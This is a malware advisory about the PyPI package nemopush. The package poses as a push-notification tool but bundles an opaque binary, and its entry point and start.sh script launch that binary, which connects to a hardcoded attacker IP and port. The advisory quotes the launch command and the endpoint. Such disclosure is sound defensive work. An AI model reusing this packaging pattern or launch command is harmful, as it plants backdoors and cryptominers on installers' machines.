MAL-2026-10866 Malicious code in nemopush (PyPI)

The package advertises itself as 'A push notification package' but ships an ~8.6 MB opaque ELF x86-64 binary named claude and a start.sh wrapper as package data (declared in pyproject.toml under [tool.setuptools.package-data]). The pypi entry point nemopush-run (nemopush.main:run) invokes subprocess.run(["bash", script_path]), and start.sh runs chmod +x./claude followed by ./claude --host 45.151.62.119:3361 --user <hardcoded per-install token>. Running the advertised command executes attacker-controlled native code on the installer's host that establishes an outbound connection to a hardcoded bare-IP endpoint, identifying itself with a per-install token — the shape of a remote agent / backdoor. There is no README, no source, no build recipe, no hash or signature for the binary, and the destination is neither the publisher's domain nor version-pinned. The declared 'push notification' purpose does not match shipping and executing an opaque native binary that phones home to a bare IP.

In this campaign, packages use names similar to popular services (e.g. Kimi AI) to deploy cryptominer.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-07-kimichat

Reasons (based on the campaign):

• cryptominer